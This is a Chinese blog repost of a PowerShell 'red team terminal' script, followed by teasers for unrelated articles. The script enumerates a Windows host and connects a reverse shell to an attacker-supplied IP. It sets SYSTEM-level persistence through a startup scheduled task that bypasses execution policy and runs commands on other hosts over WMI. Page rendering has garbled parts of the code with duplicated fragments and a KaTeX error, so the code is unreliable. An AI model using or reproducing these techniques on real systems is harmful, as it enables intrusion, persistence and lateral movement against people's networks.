news 2026/4/21 12:50:16

红队渗透利器:高级系统枚举、权限提升与持久化终端脚本

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
红队渗透利器:高级系统枚举、权限提升与持久化终端脚本

redteam_terminal.ps1

作者:Gerard King

描述:一个用于高级系统枚举、权限提升和持久化的一级红队操作员终端程序。

用例:渗透测试人员和红队操作员在 Windows 环境中进行对抗性演练。

标签:PowerShell,红队,渗透测试,枚举,权限提升,持久化

函数:收集详细的系统信息(例如,操作系统、用户、服务)

function Get-SystemInfo {
$os = Get-CimInstance -ClassName Win32_OperatingSystem
$cpu = Get-CimInstance -ClassName Win32_Processor
$services = Get-Service
users=Get−WmiObject−ClassWin32UserAccountWrite−Host"‘n[+]系统信息:"Write−Host"操作系统:users = Get-WmiObject -Class Win32_UserAccount Write-Host "`n[+] 系统信息:" Write-Host "操作系统:users=GetWmiObjectClassWin32UserAccountWriteHost"‘n[+]系统信息:"WriteHost"操作系统:(os.Caption)∣版本:os.Caption) | 版本:os.Caption)版本:(os.Version)"Write−Host"CPU:os.Version)" Write-Host "CPU:os.Version)"WriteHost"CPU($cpu.Name)"
Write-Host “n[+] 系统上的用户:" $users | ForEach-Object { Write-Host "用户:$($_.Name) | 域:$($_.Domain)" } Write-Host "n[+] 运行中的服务:”
$services | Select-Object Name, Status | Format-Table
}

函数:使用 Netstat 和 PowerShell 扫描开放的端口和活动服务

function Scan-Network {
Write-Host “`n[+] 网络扫描(开放端口):”
$netstat = netstat -an | Select-String “LISTENING”
$netstat | ForEach-Object { Write-Host $_.Line }
}

函数:执行权限提升检查(例如,不安全的权限)

function Priv-EscalationCheck {
Write-Host “n[+] 权限提升检查(不安全的权限):" $vulnerableDirs = @("C:\Program Files", "C:\Windows\System32", "C:\Users\Public") foreach ($dir in $vulnerableDirs) { Write-Host "n检查目录:$dir”
Get-Acl $dir | Select-Object Path, Access
}
}

函数:启动一个反向 Shell 后门

function Start-ReverseShell {
param(
[string]ip,[int]ip, [int]ip,[int]port
)
Write-Host “`n[+] 正在启动反向 Shell 连接到ip:{ip}:ip:{port}”
reverseShell=New−ObjectSystem.Net.Sockets.TcpClient(reverseShell = New-Object System.Net.Sockets.TcpClient(reverseShell=NewObjectSystem.Net.Sockets.TcpClient(ip, $port)
$stream = $reverseShell.GetStream()
writer=New−ObjectSystem.IO.StreamWriter(writer = New-Object System.IO.StreamWriter(writer=NewObjectSystem.IO.StreamWriter(stream)
reader=New−ObjectSystem.IO.StreamReader(reader = New-Object System.IO.StreamReader(reader=NewObjectSystem.IO.StreamReader(stream)
while ($true) {
command=Read−Host"Shell命令"if(command = Read-Host "Shell 命令" if (command=ReadHost"Shell命令"if(command -eq “exit”) {
$writer.WriteLine(“exit”)
$writer.Flush()
break
}
writer.WriteLine(writer.WriteLine(writer.WriteLine(command)
$writer.Flush()
$response = $reader.ReadLine()
Write-Host $response
}
$reader.Close()
$writer.Close()
$reverseShell.Close()
}

函数:创建持久化机制(例如,计划任务)

function Set-Persistence {
Write-Host “`n[+] 正在设置持久化(计划任务)”
$taskName = “RedTeamPersistence”
$taskAction = “powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\Your\MaliciousScript.ps1”
$taskTrigger = New-ScheduledTaskTrigger -AtStartup
$taskActionObj = New-ScheduledTaskAction -Execute “powershell.exe” -Argument $taskAction
Register-ScheduledTask -Action $taskActionObj -Trigger $taskTrigger -TaskNameKaTeX parse error: Undefined control sequence: \SYSTEM at position 29: …r "NT AUTHORITY\̲S̲Y̲S̲T̲E̲M̲" Write-Hos…taskName"
}

函数:发起横向移动(例如,远程 WMI 或 SMB 执行)

function Lateral-Movement {
param(
[string]targetIp,[string]targetIp, [string]targetIp,[string]command
)
Write-Host “`n[+] 正在向 ${targetIp} 发起横向移动”
Invoke-WmiMethod -ComputerName $targetIp -Class Win32_Process -Name Create -ArgumentList $command
Write-Host “[+] 命令已在targetIp上执行:{targetIp} 上执行:targetIp上执行:{command}”
}

函数:提示用户交互并执行命令

function Start-RedTeamTerminal {
# Check-AdminPrivileges # 移除了管理员检查
Clear-Host
Write-Host “[+] 欢迎来到红队终端。准备就绪,等待您的命令。”
Write-Host “[+] 输入 ‘exit’ 退出或输入 ‘help’ 查看可用命令。”
while ($true) {
input=Read−Host"输入命令"switch(input = Read-Host "输入命令" switch (input=ReadHost"输入命令"switch(input.ToLower()) {
‘sysinfo’ { Get-SystemInfo }
‘network’ { Scan-Network }
‘priv’ { Priv-EscalationCheck }
‘rev’ {
$ip = Read-Host “输入攻击者的 IP”
$port = Read-Host “输入端口”
Start-ReverseShell -ip $ip -port $port
}
‘persistence’ { Set-Persistence }
‘lateral’ {
$targetIp = Read-Host “输入目标 IP”
$command = Read-Host “输入要执行的命令”
Lateral-Movement -targetIp $targetIp -command $command
}
‘exit’ { Write-Host “[+] 正在退出红队终端。”; break }
‘help’ {
Write-Host “`n[+] 可用命令:”
Write-Host “‘sysinfo’ - 显示系统信息。”
Write-Host “‘network’ - 扫描开放端口。”
Write-Host “‘priv’ - 检查权限提升机会。”
Write-Host “‘rev’ - 启动反向 Shell 后门。”
Write-Host “‘persistence’ - 通过计划任务设置持久化。”
Write-Host “‘lateral’ - 通过横向移动远程执行命令。”
Write-Host “‘exit’ - 退出终端。”
}
default { Write-Host “[+] 无效命令。输入 ‘help’ 查看可用命令。” }
}
}
}

启动红队终端

Start-RedTeamTerminal

在关闭窗口前暂停

Read-Host “按 Enter 键退出…”
CSD0tFqvECLokhw9aBeRqgzMWoT3AX/+bU4PBIwC6DhNeFb6uWAb2K1DkZza2joRR6xAJk81iZpBY/YhfptuIexMIqBLL1Tek1O1ZgDACjo=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 14:00:43

网络安全可以从事哪些岗位?岗位职责是什么?网络安全专业的就业前景

网络安全可以从事哪些岗位 伴随着社会的发展,网络安全被列为国家安全战略的一部分,因此越来越多的行业开始迫切需要网安人员,也有不少人转行学习网络安全。那么网络安全可以从事哪些岗位?岗位职责是什么?相信很多人都不太了解,…

作者头像 李华
网站建设 2026/4/18 10:23:21

anything-llm镜像是否支持Webhook事件通知?

anything-llm镜像是否支持Webhook事件通知? 在构建智能知识库系统的实践中,一个反复出现的问题浮出水面:当用户上传了一份PDF、系统完成文档解析后,有没有办法自动通知外部服务?比如将元数据同步到数据湖,或…

作者头像 李华
网站建设 2026/4/18 6:14:15

收藏!程序员/小白入门大模型转行全攻略:选对方向少走1年弯路

这两年,大模型彻底走出实验室的“象牙塔”,闯进了程序员的技术栈、学生的学习计划,甚至是转行者的职业规划里。打开技术社区、刷到行业动态,到处都是大模型相关的讨论,随之而来的还有大量迷茫的提问。 作为一名从传统开…

作者头像 李华
网站建设 2026/4/17 22:48:01

模拟电子技术基础之放大器频率响应全面讲解

放大器频率响应:从寄生电容到系统稳定性的深度实战解析你有没有遇到过这样的情况?电路明明在直流和低频下工作正常,增益也调得刚刚好,可一旦输入信号频率稍高一点,输出就开始失真、振荡,甚至变成一团噪声。…

作者头像 李华
网站建设 2026/4/18 17:08:19

Open-AutoGLM浏览器助手深度解析(仅限技术精英掌握的AI自动化秘技)

第一章:Open-AutoGLM浏览器助手深度解析(仅限技术精英掌握的AI自动化秘技)Open-AutoGLM 是一款基于 GLM 大模型与浏览器自动化框架深度融合的智能代理工具,专为高阶开发者设计,实现网页内容理解、自动交互与动态决策一…

作者头像 李华